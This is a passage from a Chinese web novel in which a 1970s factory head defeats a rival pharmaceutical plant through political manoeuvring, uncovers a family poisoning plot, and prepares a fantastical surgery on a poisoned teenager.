“这药叫什么？多少钱一包？不管多贵，我们林场全包了！” 旁边的矿山矿长也挤上来嚷道： “我们矿也要！有多少要多少！有它，能救下多少兄弟，能多挖多少煤啊！” 钱国栋看着这场面，脸上露出满意的笑容。他意味深长地瞥了眼脸色铁青的刘建斌，对身边几位领导说道： “同志们看到了吧？技术革新，就要服务于生产，服务于群众生命安全。有些同志坐在省城办公室，光盯着文件规章，却看不见基层最真实迫切的需求。” 这话句句没提刘建斌，却又句句像耳光，狠狠抽在他脸上！ 刘建斌彻底懵了！他这才明白，自己从一开始就掉进了对方精心设计的圈套里。林卫国，已经把“乡镇企业违规”的事，彻底扭转到“保障重点单位安全”的战略高度上！ 他想反驳，却连一个站得住脚的理由都找不到——难道他敢说制药厂的规矩，比林场、矿山工人的命还重要？ 此时，林卫国当着所有领导的面，从怀里拿出一份准备好的材料，双手递给钱国栋。 “钱县长，这是我们卫国制药厂，‘速效止血散’的生产报告和临床效果分析。” 他的声音响彻全场： “我，林卫国，恳请您代表安平县，正式向省计委和主管工业的领导汇报！” 钱国栋拿到林卫国亲手写的生产报告，如获至宝。 县长办公室的灯，亮了一整夜。 他连夜召集秘书班子，亲自坐镇，对着这份报告逐字逐句地推敲、修改。 钱国栋的老辣手段，此刻显露无疑。 整篇报告里，他绝口不提“红旗制药厂”如何打压“卫国制药”，仿佛这事从未发生。他找准了一个谁都挑不出毛病的、绝对安全的立场切入。 报告的标题，被他改成了——《关于在安全生产第一线推广技术创新成果的试点报告》。 字里行间，引经据典：从“响应号召，狠抓安全”，到“技术革新保产值”，再到“工人生命健康放首位”，句句不离高层级觉悟。 最妙的是，他巧妙地将“速效止血散”定义为一种能直接提升生产力、减少国家损失、挽救生命的“战略物资”！ 报告写完，怎么递上去更显城府。 钱国栋没按常规交给省卫生厅或工业厅——那是红旗的地盘，送上去等于石沉大海。 他兵行险着，直接越级！ 通过私人渠道，他把报告直接送到了省计划委员会。接手的是一位只重实效、不讲背景的开明副主任！ 他还以安平县政府名义，把报告抄送给了省军区后勤部！ …… 省城这边。 红旗制药厂的副厂长刘建斌，回厂向厂长高建军汇报安平县的“调查结果”。 自然不会说自己多狼狈，只添油加醋地说林卫国如何“狡猾”，安平领导如何“护犊子”，最后只得“暂时中止”关停。 厂长高建军五十多岁，在国营大厂的高位上窝了半辈子。听完，他嗤笑一声。 “哼，一个穷县长加个乡下小子，还能反了天？” 他端着茶杯，不紧不慢地押了口茶：“甭理这些小丑。” “你那边，”他敲敲桌面，“流程走稳了，‘产品不合规’、‘生产有风险’的报告做实！等省厅文件一发，神仙也救不了他！” 在这位大厂长眼里，碾死卫国制药这只小蚂蚁，不过是时间问题。 …… 省计委副主任办公室。 这位以务实和改革著称的副主任，正仔细翻看钱国栋的报告，以及后面附上的林场、煤矿等重点单位的联名请求。 当他看到钱国栋亲手加上的那句话时，眼睛陡然一亮！ “初步测算：普及此药，林场每年可减木材损失近千方，矿山可增有效工作日近万个……一盒小小止血药，能为国家挽回至少半吨钢的产值！” 一盒药，半吨钢！ 副主任呼吸急促起来。他立刻抓起桌上的红色电话，将此事列为第二天计委内部会议的重磅议题！ 另一边，孙思源教授也没闲着。 他动用几十年省城积攒的人脉，成功塑造了林卫国——被行业巨头无情打压的、百年难遇的医学天才形象。 甚至，他将钱斌起死回生的详细医案，亲自汇报给了一位虽已退居二线、却门生遍及全省卫生系统的老领导。 一时间，高层暗流涌动。 红旗制药厂的高建军和刘建斌，对此却浑然不觉。 他们还在办公室悠闲喝茶，等着关停卫国制药的“好消息”。 几天后，消息来了。 但不是卫生厅的关停文件。 而是一份措辞严肃、盖着省计委鲜红大印的内部通知！ 大意是：安平县上报的“速效止血散技术革新”，对全省安全生产意义重大。经研究，省计委将牵头，联合工业厅、卫生厅，立即组成联合工作组，赴安平县卫国制药厂，对项目进行“全面评估和扶持调研”！ 刘建斌看到通知上带队组长的名字，手猛地一抖。 “哐当！” 茶杯摔在地上，粉碎。 带队的是计委那位副主任亲自点名的实权处长！ 事情性质彻底变了： 不再是巨头对蝼蚁的“降维打击”。 而是省计委牵头、多部门联合的“重点扶持项目”！ 翻盘了！ 第30章 奇迹再现！ 三天后，几辆省城牌照的墨绿吉普车，径直驶进了卫国制药厂破败的大门。 这支队伍和刘建斌那伙上次咋咋呼呼的来人完全不同，从头到尾都绷着脸，一股说不出的低沉气压。没人说话，个个板着脸，动作利落干脆。 领头的是省计委项目处王处长，四十多岁，黑框眼镜片后的目光亮得扎人。 他步履带风，两步并作一步就下来了，一看就是办事利落的主儿。 他身后跟着的，不光有省工业厅、卫生厅的人，更扎眼的是两位——身穿军装，肩上扛着醒目的红牌，来自省军区后勤部！ 这阵仗，落到卫国这么个乡镇小厂头上，大得有点吓人。 红旗厂的厂长高建军、副厂长刘建斌也被县里“请”到了现场。抬眼一扫这排场，尤其对上那两抹军绿和红肩章时，两人脖子后面凉飕飕的，心直往下沉。 王处长一点客套没有，立刻带人扎进车间。林卫国亲自引着这群人，一项一项细看。他准备的清清楚楚，把自制的标准化流程图摊在众人眼前，又把远超当下的生产管理思路，一点点抛出来。 “我们这儿的规矩，‘生产环节认人负责’，谁干活谁留名，原料入库到成品包装，每道工序都得签字。要是验出次品，不光东西要查源头，签字的人——奖金绩效跟着扣！”林卫国说得很实在。 这法子透着一股子狠劲和新意。王处长听着，偶尔点下头，眼神里亮光闪动。旁边几位省里干部的表情也松动了。 ——直到“速效止血散”的实际效果在众人眼前炸开！ 林卫国让人在厂区空地抬来一块刚从屠宰场运回、尚带温热的新鲜猪后腿肉。他当着众人的面，在最丰满、模拟人体大动脉的部位，狠狠划下一刀！ 噗—— 一股鲜红血液瞬间喷射而出，犹如小型喷泉！ 众人惊呼声中，林卫国眼疾手快，将一包白色药粉精准撒上伤口。 奇迹再现！ 疯狂喷涌的鲜血，在接触药粉的刹那几乎瞬间凝固！短短三秒，伤口便被一层干燥保护壳牢牢封住，再无一滴渗出！ 全场死寂！ 亲眼目睹这一幕，那两位省军区后勤部军官的眼神彻底变了！年长那位再也按捺不住，一个箭步冲到王处长面前，激动地低声道：“王处长！这药！这技术！对我们部队太重要了！您想想，战时若能量产配到一线，能多救回多少战士的命啊！” 这句话，像重锤狠狠砸在高建军和刘建斌心上！ 评估总结阶段，气氛凝重异常。王处长没有直接点名批评谁，只是翻着手里的报告，像是随口问坐立不安的刘建斌： “刘副厂长，你们红旗厂是省里的医药标杆龙头，这么多年来，有没有想过集中力量，研发一款像‘速效止血散’这样能切实保障一线工人、甚至解放军战士生命安全的新产品？” 他抬起头，目光锐利起来：“还是说，只想着怎么保住你们厂那些效果平平、利润却不低的老产品市场份额？” 这番话让刘建斌额头瞬间渗出黄豆大的汗珠，他张着嘴，喉咙像堵了团棉花，在王处长平静的注视下，一个字也说不出来。旁边的高建军，养尊处优的脸也黑得像要滴出水。 这一刻，他们终于痛苦地意识到：这次踢到的哪里是铁板？分明是巍峨钢山！在“保障战士生命”和“提升国家工业生产力”这种绝对的政治正确面前，他们之前指责卫国厂“扰乱市场”、“生产不合规”的借口，显得无比渺小可笑，甚至……恶毒！ 王处长合上报告，为调研作了总结。出乎意料，他没有当场宣布任何决定。 他站起身，对林卫国和高建军说道：“两家厂的情况，工作组已基本掌握。此事意义重大，已超出工作组决策权限。我们会立即形成正式报告，上交省里领导批示。”他看了眼挂钟： “三天后，等通知吧。” 短短一句话，让在场所有人的心都悬了起来。 这三天，对刚见一丝曙光的卫国制药厂，是充满希望的煎熬。 对不可一世的红旗制药厂，则如同等待末日降临的最终审判！ 林卫国平静望向窗外。他知道，这场博弈真正的胜负，已不在安平县，也不在这间会议室里。 真正的较量，早已在更高远之处，悄然展开。 三天，对清河县关注此事的人来说，漫长得如同三年。 尤其卫国制药厂的一百多号工人，心情更是如同过山车。时而因对未来的憧憬高高抛起，时而又因对省城大厂的恐惧重重砸下，备受煎熬。 三天后，两份盖着省计划委员会鲜红大印的红头文件如期而至。如同两道最终判决书，一份送往省城红旗制药厂；另一份，则直接下发到安平县卫国制药厂。 省城，红旗制药厂，厂长办公室。 高建军盯着文件上触目惊心的标题——《关于红旗制药厂滥用行业地位打压技术创新行为的通报批评》，那张养尊处优的脸瞬间涨成猪肝色。 文件措辞严厉，批评红旗厂“固步自封，不思进取，以不正当行政手段干扰市场，打压基层技术创新”。并明确要求：厂长高建军与副厂长刘建斌，必须向省计委和省工业厅，递交不低于三千字的深刻检讨！ 最致命的是最后一条：责令红旗制药厂，“即刻起，想尽一切办法，全力保障安平县卫国制药厂的生产原料供应，不得有任何推诿和延误！” “岂有此理！岂有此理！”高建军气得浑身发抖，再控制不住，一把抓起桌上心爱的紫砂茶壶，狠狠砸在地上！ 茶壶应声粉碎。 一旁的刘建斌看完文件，像被抽走了全身骨头，彻底瘫软在椅子上。他知道，自己的职业生涯到头了。 在这场看似毫无悬念的绞杀战中，他们输得一败涂地。 …… 与此同时，安平县，卫国制药厂。 林卫国站在临时搭建的主席台上，面对全厂一百多号工人，平静却有力地念出手中的文件标题——《关于将“速效止血散”项目列为省级重点生产试点项目的决定》！ 台下，先是陷入一片死寂。 【亲爱的读者，如果认为内容可以，记得加入书架哦，方便下次阅读~】 第31章 十年前的惨祸 紧接着，不知是谁第一个反应过来，振臂高呼：“我们赢了！” “轰——！” 整个工厂瞬间爆发出震耳欲聋的欢呼，几乎掀翻屋顶！ 文件明确指出： 第一，卫国制药厂，正式列为“省重点技术创新扶持单位”，挂牌保护！ 第二，“速效止血散”，纳入省级医药采购目录，作为“特需药品”，指令性下发全省工矿企业、国营林场及重点医疗单位！ 第三，省计委特批二十万元“技术改造专项无息贷款”，助卫国制药厂尽快扩大产能！ 林卫国刚念完这三条决定，工人们已彻底疯狂！他们冲上主席台，将心中神明般的年轻厂长，一次又一次，高高抛向空中！ 他们知道，不仅饭碗保住了，更是捧上了一个前所未有的金饭碗！工厂未来，一片光明！ 惊心动魄的风波中，林卫国也终于兑现诺言，将父母和妹妹从乡下破旧的小院，接到了县城里那栋早已备好、宽敞明亮的新家。 父亲林长山身体在儿子精心照料下日渐康复，已能下地行走。妹妹林招娣即将入读县里最好的中心小学，曾经蜡黄的小脸上，第一次绽放出属于孩子的、无忧无虑的灿烂笑容。 每当夜深人静，看着灯下缝补的母亲，看报的父亲，熟睡中妹妹恬静的脸庞，林卫国心中便充满无尽温暖。 这温馨的家庭生活，才是他拼尽全力的最大动力。 风波平息后的一个下午，县长钱国栋私下找到林卫国。 他屏退左右，神情凝重： “卫国，你让我查的事，有眉目了。” “当初向我推荐那位‘京都名医’、想让你背害死我儿子黑锅的人，背景查清了。” 钱国栋眼中闪过一丝后怕与冷意。 “最终线索，都指向省城红旗制药厂的一位高层！” “而且，害我儿子的那种罕见混合型植物毒素，我派人仔细翻遍全县县志药材记录，我们县，根本不产这东西！” “解放前四十年代，有批南方药材商曾带这种东西路过此地，唯一记录是去了省城。接待他们的，正是红旗制药厂的前身……” 线索，已然昭然若揭！ 林卫国正消化着这惊人信息，准备回工厂全力完成如雪片般飞来的省级订单时，一个意想不到的人，却找上了他刚安顿好的新家。 来人，正是苏明诚老先生。 他没坐，甚至茶也没喝一口，脸色是林卫国从未见过的严肃。 他看着林卫国，语气不容置疑： “卫国，现在立刻跟我走一趟。” “有个人，必须见。” “她可能清楚，你暗处对手的真正底牌。” 送走钱国栋一行，道贺声和扶持的承诺也带走了。可林卫国心里，一个大疙瘩却搁下了。 红旗制药厂，为什么对一个他这样的小厂，下如此死手？只是压一压？还是水底下，藏着别的东西？ 带着这份疑，他跟苏明诚转了几条老街的青石巷子，步子停在一家茶馆前。茶馆清幽，不开门迎客。 二楼雅间飘着檀香。一个女人，约莫三十七八，坐在那儿等。素色布衣，气度沉静，不是平常人家。眉峰紧锁，化不开那浓重的愁绪。一双眼，本该清亮，如今盛满了伤和韧，像是吃够了天大的苦头。 苏明诚神色郑重：“卫国，江婉儿女士。她……是省城红旗制药厂创始人高景山的，大儿媳妇。” 这身份！林卫国心头狠狠一震。 江婉儿得了苏明诚眼色，确认眼前这年轻人就是传说的“林神医”。笼罩着她的悲伤，似乎裂开一丝缝隙，透出极淡的、希冀的光。 她强压着，声音仍带了不易察觉的抖： “林大夫，事情……牵扯十年前的一场惨祸。” 她道来：丈夫高建功，当年高老爷子最看重的长子，红旗厂板上钉钉的继承人，自身也是个药剂奇才。 “眼看十年心血耗尽，一款足以撼动市场的心血管特效药就要成了……” 江婉儿的齿缝间，渗着冰冷入骨的恨意， “却在一次宴会后，突发急病……人就没了！死前的样子——”她顿了一下，“滚烫高烧，浑身抽搐，皮肤上爬满诡异的纹路！跟钱县长家公子钱斌的怪病，足有七八分像！” “从那一刻起，我就认定了！” 她咬紧牙，字字锥心， “凶手就是我丈夫的亲弟弟，现在的红旗厂长，高建设！还有他身边那个身份不明的客卿医生！用某种见不得光的慢性毒，一点点害死了建功！” “至于在你们厂耀武扬威那个副厂长刘建斌，哼，就是高建设身边头号打手！” 林卫国眼前迷雾瞬间炸开！ 红旗厂往死里整他，不光是为抢饭碗。更是因为——他能点破钱斌怪病的根由！他在，高建设他们谋划十几年、害死亲兄的天大血案，就有随时翻出来的风险！ 江婉儿从布包里摸索着，拿出份省一院的旧病历，用力按在林卫国面前。 “高建功死后，高建设迅速掌控大权。我斗不过他，为保住建功唯一的血脉，只能带着年幼的儿子隐姓埋名，远走他乡。可是……” 她的声音带上泣音： “可是半年前，我那十六岁的儿子高远，也出现了一模一样的怪病！日渐消瘦，高烧不退，卧床不起……我带他看遍省城名医，连孙思源教授都束手无策！” “噗通”！ 这位坚强了十年的母亲，再也控制不住，整个人跪倒在林卫国面前，泪流满面： “林大夫！苏老说了您的神技，我怀疑……我万分怀疑，是高建设那畜生，要对建功唯一的血脉赶尽杀绝啊！” “求求您！求求您救救我儿子！只要您救他，我愿意说出所有我知道的高家和红旗厂的秘密！拿出所有证据，助您……彻底扳倒这对蛇蝎兄弟！” 这突如其来的请求，连同它掀开的滔天阴谋，瞬间将林卫国推向了与一个省级巨头生死对决的风口浪尖！ 这已非简单的商业之争，而是赤裸裸的生死相搏！ 第32章 内斗的牺牲品 林卫国扶起江婉儿，看着这个被仇恨与绝望折磨了十年的女人，心中已然决断。这不仅为兑现对孙思源的承诺，更为自己工厂的存亡！这一趟省城，必须去！ 然而，江婉儿接下来的话，给这趟行程蒙上厚厚的阴影。她擦干泪，声音满是无奈与愤恨： “林大夫，我儿子就在省城第一人民医院的特护病房。但是……” 她顿了顿， “那里的主治医生，早被高建设重金收买。他们以‘保护治疗、杜绝感染’为名，禁止任何外来医生接触我儿子。我们……现在想靠近那间病房，都难如登天！” 答应江婉儿的请求后，林卫国深知此行省城危机四伏。他心里清楚，在这个年代出远门，光有钱可不行。没有全国粮票，连安平县都出不去；没有分量够重的介绍信，别说进省城国营招待所，更别提闯入戒备森严的省第一人民医院。 事不宜迟，他立刻找到县长钱国栋，将江婉儿的遭遇和关于高家可能毒害钱斌的猜测，原原本本做了汇报。 “岂有此理！” 钱国栋听完，威严的脸上瞬间布满怒火，猛地一拍桌子，厚实的办公桌都嗡嗡作响。原本以为只是政敌的阴险手段，没想到背后竟藏着谋害亲兄、篡夺家业的十年黑幕！这已经从他儿子的“公仇”，彻底变成了他的“私仇”——他的儿子，差点成了这帮畜生内斗的牺牲品！ 这位县城一把手当即全力支持。他不仅为林卫国一行（林卫国、苏晚夏以及主动同行的孙思源教授）安排了专用的军绿色吉普车，还从抽屉里拿出一叠珍贵的全国粮票，以及盖着鲜红“安平县人民政府”公章的公务介绍信。 介绍信事由栏是他亲笔所写：“兹介绍我县重点扶持企业卫国制药厂厂长林卫国同志，及省中医院孙思源教授，赴省城就重点医药项目进行考察学习。” 有了这封介绍信，林卫国一行在省城便畅通无阻。这些沉甸甸的“通行证”，让林卫国第一次深刻感受到权力的巨大便利。 …… 第二天一早，吉普车载着一行人直奔省城。这里的繁华与政治气息远非安平县可比，高楼大厦、宽阔马路、行人脸上自信匆忙的神情，无不彰显着省城地位。 他们没在城里停留，直接赶往市中心的省第一人民医院。这里是全省医疗最高殿堂，门口车水马龙。 然而，就在住院部三楼的特护病房区，他们被拦下了。 病房门口站着个穿白大褂、戴金边眼镜、看似斯文的中年医生。他就是高远的主治医师刘克明，也是高建设安插的心腹。 “孙教授，您怎么来了？”看到德高望重的孙思源，刘克明还算客气地点了点头。 但当他的目光扫到孙思源身后的林卫国和苏晚夏，特别是听孙教授介绍这位“安平县的林大夫”要给高远看病时，他的脸立刻板了起来。 “对不起，孙教授。”刘克明义正言辞地拒绝，“高远的病情特殊，专家组要求绝对隔离静养。院里有规定，为了病人安全，谢绝外来探视和非本院会诊。这也是为病人好。” 无论孙思源如何解释林卫国的医术高明，甚至搬出钱县长儿子被救活的事例，刘克明都油盐不进，翻来覆去用“规定”“纪律”搪塞，话术滴水不漏。 一旁的江婉儿看着紧闭的房门，想到危在旦夕的儿子就在里面却无法靠近，急得眼泪直打转。 林卫国看着刘克明装腔作势的样子，忽然笑了，声音带着淡淡嘲讽：“刘主任，真辛苦。病人病情这么重，你不守在床边观察，反而亲自当门神。看来，里面的事情很不想让人知道啊？” 僵持不下时，一个阴阳怪气的声音从走廊另一头传来：“哟，这不是咱们安平县的林大能人吗？县里那小池子装不下你了？跑省城来揽活了？” 众人回头，只见一个穿医院后勤工装、贼眉鼠眼的男人抱着胳膊，幸灾乐祸地走过来——正是之前在红旗厂当副厂长、后被林卫国当众羞辱、被高建军弃车保帅开除的李明远！他靠着高家关系，竟在这混了个后勤副主任。 李明远和刘克明显然一丘之貉。他上前就与刘克明一唱一和，添油加醋地编排林卫国在安平县如何“弄虚作假”、“沽名钓誉”，成功把林卫国抹黑成借看病来省城出名的江湖骗子。 两人的表演立刻吸引了周围闻讯而来的医生护士，对着林卫国一行指指点点，议论纷纷。 前有刘克明用官方规定当铁壁，后有李明远在旁煽风点火败坏名声。林卫国连病人的面都见不到，一身通天医术竟无用武之地。他该如何打破这铁壁？ 面对两人的刁难，林卫国一行人被死死堵在门外，陷入僵局。 李明远抱着胳膊，看着沉默的林卫国，幸灾乐祸更甚：“怎么不吭声了？没辙了？告诉你，这是省城第一人民医院，不是你们乡下土坡，光靠嘴皮子吹牛可没用！” 他的话引来周围一些医护人员低低的嘲笑。 江婉儿和苏晚夏气得脸色发白，连沉稳的孙思源也眉头紧锁。他们知道，对方是铁了心用“规定”这铁板把他们挡死。 然而，林卫国像是根本没听见李明远的嘲讽。他只是缓缓抬头，目光越过眼前的跳梁小丑，朗声对围观的医护人员说道：“谁说一定要走进病房、接触病人才能诊断？” “我林卫国今天就站在这儿，也能知道病人所有详细症状！” 此言一出，全场哗然！所有嘲笑议论声戛然而止！所有人的目光都像看怪物一样聚焦在林卫国身上。 遥空诊脉？悬丝诊脉？这不是只在古代传说中才有吗？ 刘克明像看傻子一样嗤笑：“好大的口气！我倒要听听你能说出什么花来！” 林卫国根本不理会，盯着刘克明，用平静得可怕的语调一字一句道：“病人叫高远，十六岁，身形消瘦，食欲不振，长期低烧37。5度左右，夜间加重。你们做了所有能做的检查，除了轻微营养不良，查不出任何实质性病变，所以至今按精神衰弱或疑难杂症来治。我说得对不对？” 第33章 敢不敢赌一把 这些信息江婉儿路上确实讲过，但此刻被他以亲眼所见般的笃定口吻说出，效果截然不同！ 刘克明脸色第一次微变，因为林卫国所说，与病历记录丝毫不差！ 林卫国捕捉到他的神情变化，嘴角泛起一丝冰冷弧度：“但这些只是最表面的。你们还忽略了一个关键性的、周期性出现的症状——” 他紧盯着刘克明惊疑不定的眼睛，缓缓说出击溃对方防线的话：“每隔三天，凌晨五点，也就是你们医护人员交接班最忙乱时，病人右手小指会出现大约一刻钟的、无意识轻微震颤！我说得对不对？！” 这句话如同无形重锤，狠狠砸在刘克明心上！他脸色“唰”地惨白，毫无血色！ 这症状确实有！但因极其轻微且发生时间特殊，他只偶尔在交班记录上瞥见过一两次，从未在意！甚至连江婉儿都不知道！ 可眼前这乡下来的小子，怎么知道得这么清楚？！仿佛他昨晚就站在病床边亲眼看过！ 看着刘克明那副活见鬼的表情，林卫国乘胜追击，再次提高音量对所有人说：“这个所有人都忽略的指尖震颤，才是解开他所有病状、找到病根的真正钥匙！” 他向前一步，目光如电，逼视着额头冒汗的刘克明：“刘主任，敢不敢赌一把？” “我们就在这走廊等着！等到明早五点，看那症状会不会准时出现！” “如果出现了，你和你们医院必须立刻放我进去治疗！” “如果没出现，”林卫国的声音响彻楼层，“我林卫国当众承认是江湖骗子，从此滚出省城，永不再来！” 这个赌约如同天罗地网，瞬间将刘克明逼上绝路！当着这么多同事领导的面，他敢拒绝吗？不敢！一拒绝就等于承认心虚、害怕！ 可如果接受……万一明天那该死的症状真出现了呢？那他岂不是当众证明自己是连病人都看不牢的庸医？！在医院还怎么立足？ 前进，万丈深渊！后退，无底悬崖！在数十道目光注视下，刘克明只觉得后背已被冷汗湿透，站在原地，汗如雨下，进退两难。 在巨大的舆论和无形的压力之下，主治医生刘克明最终还是咬着牙，答应了林卫国这个看似荒谬的赌约。 一场史无前例的、在医院走廊里的通宵守候，就此开始。 整个住院部的三楼，都因为这场赌局而变得气氛诡异。 李明远坚信这一切都只是林卫国瞎猫碰上死耗子的巧合，他搬来一张椅子，好整以暇地坐在走廊里，就等着天亮之后，看林卫国是如何当众出丑，如何灰溜溜地滚出省城。 孙思源教授和苏晚夏，则一脸紧张地陪在林卫国身边。他们虽然相信林卫国的神奇，但内心深处，也为这种近乎“未卜先知”的诊断，感到了一阵阵的不安。这已经超出了他们所能理解的医术范畴。 而江婉儿，则双手合十，靠在冰冷的墙壁上，一遍又一遍地，向着满天神佛，做着最虔诚的祈祷。 时间，一分一秒地过去。 当东方的天际，泛起一丝鱼肚白，墙上的挂钟，时针缓缓地指向凌晨五点时，整条走廊里，所有彻夜未眠的人，都下意识地屏住了呼吸。 来了！ 决定胜负的时刻，来了！ 所有人的目光，都死死地盯着那扇紧闭的病房门。 一分钟…… 五分钟…… 十分钟…… 病房之内，却依旧是毫无动静，安静得可怕。 走廊里的气氛，开始变得有些微妙。李明远的脸上，已经压抑不住地，露出了一丝胜利的、幸灾乐祸的笑容。就连孙思源和苏晚夏的心，也一点一点地沉了下去。 难道……他真的只是猜的？ 就在赌约时间即将结束，李明远几乎要忍不住放声大笑的时候！ 病房的门，突然“吱呀”一声，被人从里面猛地推开了！ 一个负责值夜班的小护士，举着一个手电筒，脸色煞白如纸，仿佛看到了什么极度恐怖的事情一般，连滚带爬地冲了出来！ 她指着病房里面，声音因为极致的恐惧而剧烈地颤抖着，对着刘克明尖声喊道： “刘……刘主任！不好了！12床的病人……他……他的右手小指……真的……真的在像钟摆一样，自己……自己动！” 此言一出！ 整个走廊，瞬间陷入了死一般的寂静！ 所有人的目光，都如同见了鬼一般，从那个几乎快要吓晕过去的小护士身上，缓缓地，一寸一寸地，转移到了那个自始至终都一脸平静的少年身上！ 那眼神，已经不再是看一个医生了。 那是在看一个……他们完全无法理解的“怪物”！ 李明远那幸灾乐祸的笑容，如同被冰冻的劣质石膏，滑稽地僵在了脸上，随即，化为了极致的错愕和发自灵魂深处的恐惧！ 而刘克明，则只觉得双腿一软，眼前一黑，要不是扶住了身后的墙壁，他几乎要当场瘫倒在地。他知道，自己，完了。 在众人如同摩西分海般，自动分开的道路之中，林卫国推开病房门，平静地走了进去。 他坐到床边，手指轻轻地搭在了高远的脉搏之上。与此同时，他的大脑之中，【战术医疗系统】已经对病人的身体，展开了最深层次、最细致入微的生物扫描。 然而，下一秒，当那清晰的扫描结果，反馈到林卫国脑海中时，就连他自己，都控制不住地倒吸了一口凉气！ 情况，比他想象中的，还要复杂百倍，恶毒千倍！ 【系统提示：检测到复合型神经毒素在宿主体内残留，警告！在宿主脊椎L3-L4节段，检测到非地球标准基因序列的、处于休眠状态的寄生虫卵！该毒素既是虫卵的生长抑制剂，也是其唯一的营养源！】 林卫国的心，瞬间沉到了谷底！他终于明白了整个阴谋的恶毒之处！ 这根本就不是简单的下毒，这是一个环环相扣、天衣无缝的连环杀局！ 如果，自己用常规的办法，为高远解除了体内的植物毒素。那么，失去了抑制剂的虫卵，就会在瞬间孵化！到时候，无数的寄生虫，将会以高远的脊椎神经为食，从内到外，将他啃食成一具空壳，神仙难救！ 第34章 一切准备就绪 可如果，自己试图用药物或者其他手段，直接攻击那些还处于休眠状态的虫卵。那么，虫卵在死亡的瞬间，其内部蕴含的、更剧烈的生物毒素，就会瞬间释放！同样会立刻杀死宿主！ 解毒，等于激活虫卵！杀卵，等于释放剧毒！ 这是一个完美的、没有任何常规手段可以破解的医学“死锁”！ 他缓缓地站起身，面对着江婉儿、孙思源等人那充满期盼和希望的目光，说出了一句让他们瞬间如坠冰窟的话。 “情况，比我们所有人想象的，都还要糟糕。” “常规的任何治疗手段，无论是中医还是西医，对他来说，都等于是在加速他的死亡。” 他看着病床上那个对自己的命运还一无所知的少年，神情凝重到了极点。 “要救他，我需要……” “做一台，这个世界上，还从来不存在的手术。” 林卫国那句“做一台这个世界上还不存在的手术”的论断，像一块万钧巨石，狠狠砸进了在场每一个人的心里，将他们刚刚才燃起的一丝微弱希望，彻底砸得粉碎。 不存在的手术？那和直接宣判死刑，又有什么区别？ 看着众人瞬间陷入的、更深沉的绝望，林卫国却异常平静。他知道，想让这些活在七十年代的人理解他脑中的方案，无异于对牛弹琴。 他只能用他们能听懂的方式，解释道：“想要在不惊动病人脊椎内‘病灶’的前提下，完成这场手术，我需要一个绝对无菌、与外界彻底隔绝的环境。并且，我还需要一些我亲自设计、必须现场制作的‘特殊仪器’。” 这个任务，听起来，根本不可能完成。 然而，在见识了林卫国那神乎其技的手段之后，他身边的这些盟友们，已经被彻底拧成了一股绳。一场围绕着林卫国、旨在创造奇迹的总动员，立刻开始了。 孙思源教授第一个行动，他当即拿起电话，动用了自己在省城经营了数十年、早已盘根错节的关系网。以“协助军方进行一项重要的保密科研项目”为名，他通过一份加急的红头文件，紧急调用了一处位于省城郊区、刚刚建成但尚未启用的生物研究所的地下实验室！ 红头文件开路，一路绿灯，最关键的场地问题，在短短一个小时内就得到了解决！ 赵胜利则负责后勤，他发动了自己在整个供销系统的所有渠道，不计任何代价，疯狂采购着林卫国清单上列出的所有东西。那张清单上的内容千奇百怪，从高标号的医用酒精、成套的玻璃器皿，到各种规格的铜线、金属材料，甚至还有从废品站里高价淘来的报废收音机和电子仪器上的元器件。 而在安平县，刚刚被林卫国收服的山耗子陈虎，在接到林卫国的一通电话后，二话不说，当即便点齐了手下最得力的十几个兄弟，连夜挤上了前往省城的火车。他们的任务只有一个——负责实验室外围的安保工作，严防高家的人狗急跳墙，前来破坏！ …… 两天后，在那间被临时改造的、充满了未来科幻感的地下实验室内。 林卫国正戴着一副护目镜，手持一把老旧的电烙铁，在一块电路板上进行着精细的焊接。 凭借着前世对最尖端精密医疗器械的深刻理解，他正亲手制作着这场手术所需要的核心设备。他要造的，是一台以这个时代的眼光看来无比简陋，但却能精准地产生特定频率微弱电磁场的“生物休眠仪”！ 当然，他对外不能这么解释。 他对旁边看得目瞪口呆的苏晚夏和孙思源解释道：“病人体内的毒素和病灶，早已同气连枝，如同一对桀骜不驯的‘蛊虫’。要想在不惊动它们的前提下取出病灶，就必须先制造一个‘假死之局’，瞒过它们。我这台仪器，就是要以金针通电，效仿那天地间的雷霆之威，暂时麻痹病人的生机。” 苏晚夏和孙思源等人，看着林卫国熟练地焊接电路、缠绕线圈，将一堆他们从废品站里收来的破铜烂铁，一点点地变成一件充满了未知科技感的精密仪器，心中除了震撼，再也生不出任何其他的想法。 到了此刻，他们已经彻底相信，林卫国所掌握的知识和能力，已经远远超出了他们能够理解的范畴。 与此同时，身在省城的红旗厂厂长高建设，和他那位在卫生厅身居高位的盟友，也终于得知了高远被人从医院秘密转移的消息。 他们立刻就意识到，那个叫林卫国的乡下小子，可能真的有他们所不知道的办法！ 一股巨大的恐惧，攫住了他们的心脏。他们开始不惜一切代价，动用自己在省城的所有力量，对各大医院、研究所，进行疯狂的搜查！ 经过两天两夜不眠不休的工作，那台凝聚了林卫国心血的仪器，终于制作完成。 病人高远，也被江婉儿通过秘密渠道，成功地转运到了这个绝对保密的地下手术室。 一切准备就绪。 林卫国换上了一身无菌手术服，站在那张简易的手术台前，看着已经陷入深度麻醉的少年高远，缓缓拿起了手术刀。 这场将决定所有人命运的、史无前例的、这个世界上还不存在的手术，即将开始！ 然而，就在他即将要下刀的这最后一刻！ “嗡——嗡——” 墙壁上，那台连接着外围安保的内线电话，突然发出了急促的警报声！ 林卫国眉头一皱，按下了免提键。 电话那头，立刻就传来了陈虎那焦急万分、甚至带着一丝惊恐的嘶吼声！ “林哥！不好了！我们被包围了！外面来了十几辆警车，把整个研究所都给围死了！是市局治安大队的人！” “带队的……带队的王八蛋，就是上次在医院里跟您作对的那个李明远！” “他们说，他们说接到群众实名举报，这里，正在进行一场……非法的、活人人体解剖！” 敌人，终究还是在最后一刻，找到了这里！并且，还带着足以让林卫国万劫不复的、致命的罪名！ 第35章 成了！ 地下实验室，无影灯的光芒冰冷刺眼。 林卫国手持手术刀，屏息凝神，刀尖对准了少年高远脊椎旁的关键位置，就要落下第一刀。 就在刀尖触及皮肤前的刹那！ “林哥！我们被包围了！” 墙壁内线电话里，猛地炸响陈虎焦急万分的嘶吼，像重锤狠狠砸在每个人心上。 紧接着，门外响起李明远小人得志的尖笑，以及治安队沉重的撞门声！ “咚！咚！” “里面的人听着！开门投降！不然罪加一等！” 轰—— 实验室里，江婉儿大脑一片空白，死死捂住嘴才没尖叫出声。 孙思源教授面无人色，听着愈发剧烈的撞门声，又看向手术台上的少年，绝望低语：“完了……完了……这种手术最怕半点打扰啊！” 